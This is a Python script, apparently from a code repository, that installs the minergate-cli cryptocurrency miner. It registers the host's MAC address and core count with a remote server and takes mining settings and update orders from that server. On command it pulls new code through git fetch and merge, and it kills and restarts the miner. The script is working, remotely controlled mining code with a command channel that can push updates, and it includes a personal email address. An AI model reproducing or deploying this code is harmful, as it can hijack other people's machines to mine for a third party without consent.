/
miner.py
executable file
·193 lines (127 loc) · 4.03 KB
/
miner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
import subprocess
import sys
from colors import *
def Msg(data,type):
if type == 'error':
sys.stdout.write(RED)
print(data)
sys.stdout.write(RESET)
if type == 'ok':
sys.stdout.write(BLUE)
print('========== '+data+' ============')
sys.stdout.write(RESET)
def Initialize():
try:
subprocess.call(["pip3","install","-r","requirements.txt"])
Msg('Module setup completed','ok')
except:
Msg('Module setup completed','error')
try:
subprocess.call(["dpkg","-i","minergate-cli.deb"])
Msg('Install for debian base','ok')
with open('./conf.py','w') as f:
f.write('config = [{"os":"deb"}]')
with open('./init.py','w') as f:
f.write('config = [{"init":"on"}]')
return True
except:
Msg('NO deb','error')
try:
subprocess.call(["dnf","install","lib64xcb-sync0-1.9.1-2.1.mga4.x86_64.rpm","-y"])
subprocess.call(["dnf","install","minergate-cli.rpm","-y"])
Msg('Install for RHEL base','ok')
type_os = "rpm"
with open('./conf.py','w') as f:
f.write('config = [{"os":"rpm","init":"on"}]')
with open('./init.py','w') as f:
f.write('config = [{"init":"on"}]')
return True
except:
Msg('NO RHEL','error')
from init import config
if config[0]['init'] == 'off':
Initialize()
else:
pass
import requests as req
import os
import sh
import signal
import json
import socket
import traceback
def GetMac():
try:
import re, uuid
return (':'.join(re.findall('..', '%012x' % uuid.getnode())))
except Exception:
Msg('MAC NOT FOUND','error')
sys.stdout.write(RESET)
print(traceback.format_exc())
def GetIpAddress():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
uuid = '50c441ab-05a0-423f-a511-3b93a7dfa29c'
def GetCores():
return os.cpu_count()
#print(GetMac(),GetCores())
index = GetMac()
def StartMiner():
from conf import config
if config[0]['os'] == 'deb':
r = req.get('http://cfm.ru:9898/?uuid='+uuid+'&index='+index)
param = json.loads(r.text)
p = subprocess.Popen(["nice","-n20","minergate-cli", "-user",param[0]['mail'], "-"+param[0]['val']+"",str(param[0]['core'])],stdout=subprocess.PIPE)
return True
if config[0]['os'] == 'rpm':
r = req.get('http://cfm.ru:9898/?uuid='+uuid+'&index='+index)
param = json.loads(r.text)
p = subprocess.Popen(["nice","-n20","minergate-cli", "--user",param[0]['mail'], "--"+param[0]['val']+"",str(param[0]['core'])],stdout=subprocess.PIPE)
return True
def CreateRecord():
r = req.get('http://cfm.ru:9898/create/?name=new&index='+GetMac()+'&cores='+str(GetCores())+'&mail=yarofeevich@bk.ru&val=xmr')
if r.status_code == 200:
StartMiner()
print(type(r.status_code))
CreateRecord()
def CheckProcess():
try:
pid = sh.pgrep(sh.ps("aux"), 'minergate-cli')
return True
except:
return False
def KillProcess():
try:
pid = sh.pgrep(sh.ps("aux"), 'minergate-cli')
for a in pid.split('\n'):
if a != '':
os.kill(int(a), signal.SIGKILL)
return True
except:
return False
r = req.get('http://cfm.ru:9898/?uuid='+uuid+'&index='+index)
param = json.loads(r.text)
if param[0]['update'] == True:
import time
subprocess.call(['git','fetch'])
time.sleep(10)
subprocess.call(['git','merge'])
req.get('http://cfm.ru:9898/update/?uuid='+uuid+'&index='+index+'&val=reload')
if param[0]['change'] == True:
KillProcess()
StartMiner()
r = req.get('http://cfm.ru:9898/api/?uuid='+uuid+'&index='+index+'&val=reload')
else:
pass
if CheckProcess() == False:
StartMiner()
else:
pass
#KillProcess()
#print(KillProcess())
#print(StartMiner())
#print(CheckProcess())
#print(KillProcess())
#r = req.get('http://cfm.ru:9898/?uuid='+uuid+'&index=3')
#print(r.text)